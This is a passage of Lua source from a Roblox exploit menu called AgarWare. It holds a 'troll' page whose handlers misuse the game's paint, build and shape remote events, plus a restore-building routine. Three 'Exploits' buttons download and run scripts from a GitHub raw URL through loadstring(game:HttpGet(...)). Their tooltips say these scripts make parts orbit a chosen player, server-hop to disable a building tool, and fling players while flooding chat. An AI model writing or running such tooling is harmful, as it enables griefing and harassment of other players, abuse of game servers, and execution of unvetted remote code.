	local SprayColorRepRow = SprayColorRepButton.Parent
	
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	-- Find ColorPicker in ScreenGui
	local function getColorPicker()
		local screenGui = LocalPlayer.PlayerGui:WaitForChild("AgarWareGui")
		return screenGui:WaitForChild("ColorPicker")
	end
	
	local ColorPicker = getColorPicker()
	local ColorPickerTitle = ColorPicker:WaitForChild("ColorPickerTitle")
	local ColorSelect = ColorPicker:WaitForChild("ColorSelect")
	local CloseColorPicker = ColorPicker:WaitForChild("CloseColorPicker")
	local HEX = ColorPicker:WaitForChild("HEX")
	
	-- Store the color when opening
	local colorBeforeOpen = SprayColorRepButton.BackgroundColor3
	
	-- ============================================================
	-- OPEN COLOR PICKER
	-- ============================================================
	SprayColorRepButton.MouseButton1Click:Connect(function()
		-- If already open for SprayColorRep, close it (act like X button)
		if ColorPicker.Visible and ColorPicker:GetAttribute("ActiveFor") == "SprayColorRep" then
			ColorPicker.Visible = false
			ColorPicker:SetAttribute("ActiveFor", "")
			return
		end
	
		-- Store current color
		colorBeforeOpen = SprayColorRepButton.BackgroundColor3
	
		-- Set title
		ColorPickerTitle.Text = "Spray Color"
	
		-- Set picker to current button color
		local hex = string.format("#%02x%02x%02x", 
			math.floor(colorBeforeOpen.R * 255),
			math.floor(colorBeforeOpen.G * 255),
			math.floor(colorBeforeOpen.B * 255)
		)
	
		-- Wait for ColorPicker functions to be available
		task.wait(0.1)
		if _G.ColorPickerFunctions then
			_G.ColorPickerFunctions.SetColor(hex)
			_G.ColorPickerFunctions.Center() -- Center on first open
		end
	
		-- Show picker
		ColorPicker.Visible = true
	
		-- Mark this as active for SprayColorRep
		ColorPicker:SetAttribute("ActiveFor", "SprayColorRep")
	end)
	
	-- ============================================================
	-- SELECT COLOR (Update SprayColorRepButton)
	-- ============================================================
	ColorSelect.MouseButton1Click:Connect(function()
		if ColorPicker:GetAttribute("ActiveFor") == "SprayColorRep" then
			-- Update SprayColorRepButton to selected color
			SprayColorRepButton.BackgroundColor3 = ColorSelect.BackgroundColor3
	
			-- Store in attribute for other scripts to use
			SprayColorRepRow:SetAttribute("SelectedColor", ColorSelect.BackgroundColor3)
	
			-- Hide picker
			ColorPicker.Visible = false
			ColorPicker:SetAttribute("ActiveFor", "")
		end
	end)
	
	-- ============================================================
	-- CLOSE (Keep old color)
	-- ============================================================
	CloseColorPicker.MouseButton1Click:Connect(function()
		if ColorPicker:GetAttribute("ActiveFor") == "SprayColorRep" then
			-- Don't update SprayColorRepButton, keep old color
			ColorPicker.Visible = false
			ColorPicker:SetAttribute("ActiveFor", "")
		end
	end)
	
	-- ============================================================
	-- INITIALIZE - Set default to white
	-- ============================================================
	SprayColorRepButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	SprayColorRepRow:SetAttribute("SelectedColor", Color3.fromRGB(255, 255, 255))
end;
task.spawn(C_156);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.DefaultRepRow.DefaultRepScript
local function C_158()
local script = G2L["158"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local DefaultRepRow = script.Parent
	local DefaultRepButton = DefaultRepRow:WaitForChild("DefaultRepButton")
	
	local originalText = DefaultRepButton.Text
	local isApplying = false
	
	-- ============================================================
	-- GET TOOLS AND EVENTS
	-- ============================================================
	local function getPaintTool()
		return LocalPlayer.Backpack:FindFirstChild("Paint") 
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
	end
	
	local function getPaintEvent()
		local tool = getPaintTool()
		if tool then
			return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event")
		end
		return nil
	end
	
	local function getRepBrick()
		local repStorage = game:GetService("ReplicatedStorage")
		return repStorage:FindFirstChild("Brick")
	end
	
	-- ============================================================
	-- EQUIP PAINT TOOL
	-- ============================================================
	local function equipPaintTool()
		local paintTool = LocalPlayer.Backpack:FindFirstChild("Paint")
		if not paintTool then
			return false, "Paint tool not found in backpack"
		end
	
		local character = LocalPlayer.Character
		if not character then
			return false, "No character"
		end
	
		local humanoid = character:FindFirstChild("Humanoid")
		if not humanoid then
			return false, "No humanoid"
		end
	
		-- Equip Paint tool if not already equipped
		if not character:FindFirstChild("Paint") then
			humanoid:EquipTool(paintTool)
			task.wait(0.1)
		end
	
		return true
	end
	
	-- ============================================================
	-- APPLY DEFAULT SETTINGS
	-- ============================================================
	local function applyDefault()
		if isApplying then return end
	
		isApplying = true
		DefaultRepButton.Text = "Applying..."
	
		task.spawn(function()
			local success, errorMsg = pcall(function()
				-- Default settings
				local defaultColor = Color3.fromRGB(192, 192, 192)
				local defaultMaterial = "plastic"
	
				-- Get rep brick
				local repBrick = getRepBrick()
				if not repBrick then
					error("Rep brick not found in ReplicatedStorage")
				end
	
				-- Save currently equipped tool
				local character = LocalPlayer.Character
				if not character then
					error("No character")
				end
	
				local previousTool = character:FindFirstChildOfClass("Tool")
				local wasPaintEquipped = previousTool and previousTool.Name == "Paint"
	
				-- Equip paint tool if not already equipped
				if not wasPaintEquipped then
					local equipped, equipError = equipPaintTool()
					if not equipped then
						error(equipError)
					end
				end
	
				-- Get paint event
				local paintEvent = getPaintEvent()
				if not paintEvent then
					error("Paint event not found")
				end
	
				-- Paint all 6 sides with default color
				local sides = {
					Enum.NormalId.Front,
					Enum.NormalId.Right,
					Enum.NormalId.Back,
					Enum.NormalId.Left,
					Enum.NormalId.Top,
					Enum.NormalId.Bottom
				}
	
				for i, side in ipairs(sides) do
					pcall(function()
						paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", defaultColor, "", "")
					end)
					task.wait(0.05)
				end
	
				-- Apply default material (plastic)
				pcall(function()
					paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", defaultColor, defaultMaterial, "")
				end)
				task.wait(0.1)
	
				-- Clear all sprays on all 6 sides
				for i, side in ipairs(sides) do
					for retry = 1, 2 do
						pcall(function()
							paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", defaultColor, "spray", "")
						end)
						task.wait(0.03)
					end
				end
	
				-- Anchor the brick
				local isCurrentlyAnchored = repBrick.Anchored
	
				if not isCurrentlyAnchored then
					-- Clear spray on Top side first
					pcall(function()
						paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", defaultColor, "spray", "")
					end)
					task.wait(0.1)
	
					-- Anchor it
					pcall(function()
						paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "")
					end)
					task.wait(0.1)
				end
	
				-- Restore previous tool or unequip
				if not wasPaintEquipped then
					local humanoid = character:FindFirstChild("Humanoid")
					if humanoid then
						humanoid:UnequipTools()
						task.wait(0.1)
	
						-- Re-equip previous tool if there was one
						if previousTool and previousTool.Parent == LocalPlayer.Backpack then
							humanoid:EquipTool(previousTool)
						end
					end
				end
			end)
	
			isApplying = false
	
			if success then
				DefaultRepButton.Text = "Resetted colors!"
				task.wait(2)
			else
				DefaultRepButton.Text = "Paint tool not found!"
				warn("[DefaultRep] Error:", errorMsg)
				task.wait(2)
			end
	
			DefaultRepButton.Text = originalText
		end)
	end
	
	-- ============================================================
	-- BUTTON CLICK
	-- ============================================================
	DefaultRepButton.MouseButton1Click:Connect(applyDefault)
end;
task.spawn(C_158);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RichTextRepRow.RichTextRepScript
local function C_15e()
local script = G2L["15e"];
	local RichTextRepRow = script.Parent
	local RichTextRepTickBox = RichTextRepRow:WaitForChild("RichTextRepTickBox")
	
	local function getAccentColor()
		local RepGroup = RichTextRepRow.Parent
		local a = RepGroup:FindFirstChild("RepAccentColor")
		return a and a.BackgroundColor3 or Color3.new(1, 1, 1)
	end
	
	-- State
	local isEnabled = true -- Default ON
	
	-- ============================================================
	-- TOGGLE
	-- ============================================================
	local function toggle()
		isEnabled = not isEnabled
	
		if isEnabled then
			RichTextRepTickBox.BackgroundColor3 = getAccentColor()
		else
			RichTextRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	
		-- Store in attribute for SprayRep to read
		RichTextRepRow:SetAttribute("RichTextEnabled", isEnabled)
	end
	
	-- ============================================================
	-- CLICK HANDLER
	-- ============================================================
	RichTextRepTickBox.MouseButton1Click:Connect(toggle)
	
	-- ============================================================
	-- INITIALIZE - Default ON
	-- ============================================================
	RichTextRepTickBox.BackgroundColor3 = getAccentColor()
	RichTextRepRow:SetAttribute("RichTextEnabled", true)
	
	print("[RichTextRep] ON by default")
end;
task.spawn(C_15e);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RestoreBrickRow.RestoreBrickScript
local function C_162()
local script = G2L["162"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local RestoreBrickRow = script.Parent
	local RestoreBrickButton = RestoreBrickRow:WaitForChild("RestoreBrickButton")
	local RestoreBrickHelp = RestoreBrickRow:WaitForChild("RestoreBrickHelp")
	local originalText = RestoreBrickButton.Text
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
		return Players.LocalPlayer:WaitForChild("PlayerGui"):FindFirstChildOfClass("ScreenGui")
	end
	
	local screenGui = getScreenGui()
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = screenGui
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipLabel = Instance.new("TextLabel")
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Restores building by placing a block at where you are. You must have Build and must be in the server before Bkit gets disabled. If you joined after Bkit got disabled, there has to be an existing block in the server."
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	tooltipLabel.Parent = tooltipFrame
	
	RestoreBrickHelp.MouseEnter:Connect(function()
		local abs = RestoreBrickHelp.AbsolutePosition
		local size = RestoreBrickHelp.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	RestoreBrickHelp.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	if getgenv().brickcollection == nil then
		getgenv().brickcollection = {}
	end
	
	local brickname = "Brick"
	local cfolder = workspace:FindFirstChild("Bricks") or workspace:FindFirstChild("Blocks")
	
	local function dbc(b)
		if b.Name ~= brickname then
			return
		end
		if not table.find(getgenv().brickcollection, b) then
			table.insert(getgenv().brickcollection, 1, b)
		end
	end
	
	if cfolder then
		cfolder.DescendantAdded:Connect(dbc)
		for i,v in pairs(cfolder:GetDescendants()) do
			dbc(v)
		end
	end
	
	local function getplrpos()
		return LocalPlayer.Character.HumanoidRootPart.Position
	end
	
	local function findtool(toolname)
		for i,v in pairs(LocalPlayer.Character:GetChildren()) do
			if v:IsA("Tool") and v.Name:find(toolname) then
				return v
			end
		end
		for i,v in pairs(LocalPlayer.Backpack:GetChildren()) do
			if v:IsA("Tool") and v.Name:find(toolname) then
				return v
			end
		end
		return nil
	end
	
	local function equiptool(toolname)
		local tool = findtool(toolname)
		if tool and tool.Parent == LocalPlayer.Backpack then
			tool.Parent = LocalPlayer.Character
		end
		return tool
	end
	
	local function restoreBrick()
		local rs = game:GetService("ReplicatedStorage")
		local ws = 0.235
	
		if not cfolder then
			cfolder = workspace:FindFirstChild("Bricks") or workspace:FindFirstChild("Blocks")
			if not cfolder then
				warn("Bricks/Blocks folder not found")
				return false
			end
		end
	
		if not rs:FindFirstChild(brickname) then
			local brick = Instance.new("Part")
			brick.Name = brickname
			brick.Parent = rs
		end
	
		for i,v in pairs(LocalPlayer.Character:GetChildren()) do
			if v:HasTag("The Chosen One by TomazDev") then
				v.Script.Enabled = false
				v.Script.Enabled = true
			end
		end
	
		for i,v in pairs(LocalPlayer.Backpack:GetChildren()) do
			if v:HasTag("The Chosen One by TomazDev") then
				v.Script.Enabled = false
				v.Script.Enabled = true
			end
		end
	
		local currentlyEquipped = LocalPlayer.Character:FindFirstChildOfClass("Tool")
	
		local buildtool = findtool("Build")
		local painttool = findtool("Paint")
		local shapetool = findtool("Shape")
	
		if not buildtool then
			warn("Build tool not found!")
			return false, "Build tool not found!"
		end
	
		local toolsToEquip = {buildtool}
		if painttool then
			table.insert(toolsToEquip, painttool)
		end
		if shapetool then
			table.insert(toolsToEquip, shapetool)
		end
	
		for _, tool in ipairs(toolsToEquip) do
			if tool.Parent == LocalPlayer.Backpack then
				tool.Parent = LocalPlayer.Character
			end
		end
	
		task.wait(0.1)
	
		if not currentlyEquipped or (currentlyEquipped.Name ~= buildtool.Name and (not painttool or currentlyEquipped.Name ~= painttool.Name) and (not shapetool or currentlyEquipped.Name ~= shapetool.Name)) then
			for _, tool in ipairs(toolsToEquip) do
				if tool.Parent == LocalPlayer.Character then
					tool.Parent = LocalPlayer.Backpack
				end
			end
		else
			for _, tool in ipairs(toolsToEquip) do
				if currentlyEquipped.Name ~= tool.Name and tool.Parent == LocalPlayer.Character then
					tool.Parent = LocalPlayer.Backpack
				end
			end
		end
	
		task.wait(ws)
	
		local currbc = {}
		local ins = 1
		for i,v in pairs(getgenv().brickcollection) do
			if v ~= nil then
				if v:GetFullName() ~= brickname and v.Name ~= "Debris" then
					table.insert(currbc, 1, v)
					ins += 1
				else
					table.insert(currbc, v)
					if i%2 == 1 then
						table.insert(currbc, v)
					else
						table.insert(currbc, ins, v)
					end
				end
			else
				table.remove(getgenv().brickcollection, table.find(getgenv().brickcollection, v))
			end
		end
	
		if #currbc == 0 then
			warn("No blocks found!")
			return false, "No blocks found!"
		end
	
		local playerfolder = cfolder:FindFirstChild(LocalPlayer.Name)
		if not playerfolder then
			warn("Player folder not found")
			return false
		end
	
		local block = nil
		local beforeamt = #playerfolder:GetChildren()
	
		for i,v in pairs(currbc) do
			if v ~= nil and typeof(v) == "Instance" then
				block = v
				if buildtool:FindFirstChild("Script") and buildtool.Script:FindFirstChild("Event") then
					buildtool.Script.Event:FireServer(
						block,
						Enum.NormalId.Top,
						getplrpos(),
						"detailed"
					)
				end
	
				task.wait(ws)
				if beforeamt < #playerfolder:GetChildren() then
					break
				end
			else
				table.remove(currbc, table.find(currbc, v))
			end
		end
	
		task.wait(1)
		block = playerfolder:FindFirstChildWhichIsA("BasePart")
	
		if block then
			block = playerfolder:GetChildren()[#playerfolder:GetChildren()]
	
			if painttool then
				if block.Material ~= Enum.Material.Plastic then
					painttool.Script.Event:FireServer(
						block,
						Enum.NormalId.Top,
						getplrpos(),
						"material",
						Color3.fromRGB(192,192,192),
						"plastic",
						""
					)
					task.wait(ws*2)
				end
	
				if not block.Anchored or block.CFrame - block.Position ~= CFrame.new() then
					local l = tick()
					repeat
						if tick() > l then
							l = tick()+(ws*2)
							painttool.Script.Event:FireServer(
								block,
								Enum.NormalId.Top,
								getplrpos(),
								"both 🤝",
								Color3.fromRGB(192,192,192),
								"anchor",
								""
							)
						end
						task.wait()
					until block.Anchored and block.CFrame - block.Position == CFrame.new()
				end
			end
	
			if shapetool then
				local blockpos = block.Position
				blockpos = Vector3.new(blockpos.X%4, blockpos.Y%4, blockpos.Z%4)
				blockpos = blockpos - Vector3.new(0.5, 0.5, 0.5)
	
				for i=1, blockpos.X do
					shapetool.Script.Event:FireServer(
						block,
						Enum.NormalId.Left,
						block.Position,
						"increase"
					)
					task.wait(0.15)
				end
	
				for i=1, 3-blockpos.X do
					shapetool.Script.Event:FireServer(
						block,
						Enum.NormalId.Right,
						block.Position,
						"increase"
					)
					task.wait(0.15)
				end
	
				for i=1, blockpos.Y do
					shapetool.Script.Event:FireServer(
						block,
						Enum.NormalId.Bottom,
						block.Position,
						"increase"
					)
					task.wait(0.15)
				end
	
				for i=1, 3-blockpos.Y do
					shapetool.Script.Event:FireServer(
						block,
						Enum.NormalId.Top,
						block.Position,
						"increase"
					)
					task.wait(0.15)
				end
	
				for i=1, blockpos.Z do
					shapetool.Script.Event:FireServer(
						block,
						Enum.NormalId.Front,
						block.Position,
						"increase"
					)
					task.wait(0.15)
				end
	
				for i=1, 3-blockpos.Z do
					shapetool.Script.Event:FireServer(
						block,
						Enum.NormalId.Back,
						block.Position,
						"increase"
					)
					task.wait(0.15)
				end
			end
	
			task.wait(0.5)
			return true
		else
			warn("No block created")
			return false
		end
	end
	
	RestoreBrickButton.MouseButton1Click:Connect(function()
		RestoreBrickButton.Text = "RESTORING..."
		task.spawn(function()
			local success, result = pcall(restoreBrick)
			if success and result == true then
				RestoreBrickButton.Text = "RESTORED!"
				task.wait(3)
				RestoreBrickButton.Text = originalText
			elseif not success then
				RestoreBrickButton.Text = "FAILED"
				task.wait(3)
				RestoreBrickButton.Text = originalText
			elseif result == "Build tool not found!" then
				RestoreBrickButton.Text = "NO BUILD TOOL!"
				task.wait(3)
				RestoreBrickButton.Text = originalText
			elseif result == "No blocks found!" then
				RestoreBrickButton.Text = "NO BLOCKS!"
				task.wait(3)
				RestoreBrickButton.Text = originalText
			else
				RestoreBrickButton.Text = "FAILED"
				task.wait(3)
				RestoreBrickButton.Text = originalText
			end
		end)
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_162);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsScript
local function C_166()
local script = G2L["166"];
	local ExploitsGroup = script.Parent
	local ExploitsMinimize = ExploitsGroup.ExploitsTitle.ExploitsMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(ExploitsGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = ExploitsGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	ExploitsMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			ExploitsGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			ExploitsMinimize.Text = "+"
		else
			ExploitsGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			ExploitsMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_166);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNScript
local function C_16c()
local script = G2L["16c"];
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local UNRow = script.Parent
	local UNButton = UNRow.UNButton
	local UNHelp = UNRow.UNHelp
	local originalText = UNButton.Text
	local SCRIPT_URL = "https://raw.githubusercontent.com/agarv69/UNIVERSAL-SCRIPT-BY-AGARV/refs/heads/main/troll1"
	
	-- Tooltip
	local sg = getScreenGui()
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = sg
	
	local stroke = Instance.new("UIStroke", tooltipFrame)
	stroke.Color = Color3.fromRGB(57, 57, 57)
	
	local padding = Instance.new("UIPadding", tooltipFrame)
	padding.PaddingTop    = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft   = UDim.new(0, 6)
	padding.PaddingRight  = UDim.new(0, 6)
	
	local label = Instance.new("TextLabel")
	label.BackgroundTransparency = 1
	label.Text = "So its basically the Unanchored Part Abuse by Mental but i edited it so that you can click a player and it would orbit them instead.\n\nAt the very top is a button to click a player. Set to none = no one selected. Set speed 2 or more if u want the blocks to orbit on a player anywhere u are standing"
	label.TextColor3 = Color3.new(1, 1, 1)
	label.TextSize = 14
	label.TextXAlignment = Enum.TextXAlignment.Left
	label.TextYAlignment = Enum.TextYAlignment.Top
	label.Font = Enum.Font.GothamSemibold
	label.TextWrapped = true
	label.Size = UDim2.new(0, 200, 0, 0)
	label.AutomaticSize = Enum.AutomaticSize.Y
	label.ZIndex = 101
	label.Parent = tooltipFrame
	
	UNHelp.MouseEnter:Connect(function()
		local abs = UNHelp.AbsolutePosition
		local size = UNHelp.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	UNHelp.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	-- Button
	UNButton.MouseButton1Click:Connect(function()
		UNButton.Text = "LOADING..."
		task.spawn(function()
			local success, err = pcall(function()
				local code = game:HttpGet(SCRIPT_URL)
				loadstring(code)()
			end)
			if success then
				UNButton.Text = "SUCCESSFULLY EXECUTED"
				task.wait(3)
				UNButton.Text = originalText
			else
				UNButton.Text = "FAILED TO EXECUTE"
				task.wait(3)
				UNButton.Text = originalText
			end
		end)
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_16c);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBScript
local function C_170()
local script = G2L["170"];
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	local BBRow = script.Parent
	local BBButton = BBRow.BBButton
	local BBHelp = BBRow.BBHelp
	local originalText = BBButton.Text
	local SCRIPT_URL = "https://raw.githubusercontent.com/agarv69/UNIVERSAL-SCRIPT-BY-AGARV/refs/heads/main/bot1"
	-- Tooltip
	local sg = getScreenGui()
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = sg
	local stroke = Instance.new("UIStroke", tooltipFrame)
	stroke.Color = Color3.fromRGB(57, 57, 57)
	local padding = Instance.new("UIPadding", tooltipFrame)
	padding.PaddingTop    = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft   = UDim.new(0, 6)
	padding.PaddingRight  = UDim.new(0, 6)
	local label = Instance.new("TextLabel")
	label.BackgroundTransparency = 1
	label.Text = "A script i made that automatically serverhops and disables bkit in that server made by me.\n\nExecuting it will start serverhopping as soon as you click execute. Joining a XL server will only target XL servers."
	label.TextColor3 = Color3.new(1, 1, 1)
	label.TextSize = 14
	label.TextXAlignment = Enum.TextXAlignment.Left
	label.TextYAlignment = Enum.TextYAlignment.Top
	label.Font = Enum.Font.GothamSemibold
	label.TextWrapped = true
	label.Size = UDim2.new(0, 200, 0, 0)
	label.AutomaticSize = Enum.AutomaticSize.Y
	label.ZIndex = 101
	label.Parent = tooltipFrame
	BBHelp.MouseEnter:Connect(function()
		local abs = BBHelp.AbsolutePosition
		local size = BBHelp.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	BBHelp.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	-- Button
	BBButton.MouseButton1Click:Connect(function()
		BBButton.Text = "LOADING..."
		task.spawn(function()
			local success, err = pcall(function()
				local code = game:HttpGet(SCRIPT_URL)
				loadstring(code)()
			end)
			if success then
				BBButton.Text = "SUCCESSFULLY EXECUTED"
				task.wait(3)
				BBButton.Text = originalText
			else
				BBButton.Text = "FAILED TO EXECUTE"
				task.wait(3)
				BBButton.Text = originalText
			end
		end)
	end)
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_170);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFScript
local function C_174()
local script = G2L["174"];
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	local FFRow = script.Parent
	local FFButton = FFRow.FFButton
	local FFHelp = FFRow.FFHelp
	local originalText = FFButton.Text
	------------------------------------------------
	-- TOOLTIP
	------------------------------------------------
	local sg = getScreenGui()
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = sg
	local stroke = Instance.new("UIStroke", tooltipFrame)
	stroke.Color = Color3.fromRGB(57, 57, 57)
	local padding = Instance.new("UIPadding", tooltipFrame)
	padding.PaddingTop = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft = UDim.new(0, 6)
	padding.PaddingRight = UDim.new(0, 6)
	local label = Instance.new("TextLabel")
	label.BackgroundTransparency = 1
	label.Text =
		"A auto flinger bot that rejoins when you get noclipped. It also has anti freeze and kill.\n\n" ..
		"Executing it will immediately start flinging as soon as you click execute. Leave the game to stop flinging. It will also flood messages in chat, you won't get banned but please keep in mind."
	label.TextColor3 = Color3.new(1, 1, 1)
	label.TextSize = 14
	label.TextXAlignment = Enum.TextXAlignment.Left
	label.TextYAlignment = Enum.TextYAlignment.Top
	label.Font = Enum.Font.GothamSemibold
	label.TextWrapped = true
	label.Size = UDim2.new(0, 200, 0, 0)
	label.AutomaticSize = Enum.AutomaticSize.Y
	label.ZIndex = 101
	label.Parent = tooltipFrame
	FFHelp.MouseEnter:Connect(function()
		local abs = FFHelp.AbsolutePosition
		local size = FFHelp.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	FFHelp.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	------------------------------------------------
	-- BUTTON EXECUTE
	------------------------------------------------
	FFButton.MouseButton1Click:Connect(function()
		FFButton.Text = "LOADING..."
		task.spawn(function()
			local success, err = pcall(function()
				loadstring(game:HttpGet("https://raw.githubusercontent.com/agarv69/UNIVERSAL-SCRIPT-BY-AGARV/refs/heads/main/MonkeyGang"))()
			end)
			if success then
				FFButton.Text = "SUCCESSFULLY EXECUTED"
				task.wait(3)
				FFButton.Text = originalText
			else
				FFButton.Text = "FAILED TO EXECUTE"
				task.wait(3)
				FFButton.Text = originalText
			end
		end)
	end)
	------------------------------------------------
	-- CLEANUP
	------------------------------------------------
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_174);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdScript
local function C_178()
local script = G2L["178"];
	-- LagMinimizeScript (inside LagGroup)
	local LagGroup = script.Parent
	local LagMinimize = LagGroup.LagTitle.LagMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(LagGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = LagGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	LagMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			LagGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			LagMinimize.Text = "+"
		else
			LagGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			LagMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_178);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow.SpamAdvertScript
local function C_17e()
local script = G2L["17e"];
	local Players = game:GetService("Players")
	local TextChatService = game:GetService("TextChatService")
	local LocalPlayer = Players.LocalPlayer
	
	local SpamAdvertRow = script.Parent
	local SpamAdvertButton = SpamAdvertRow:WaitForChild("SpamAdvertButton")
	
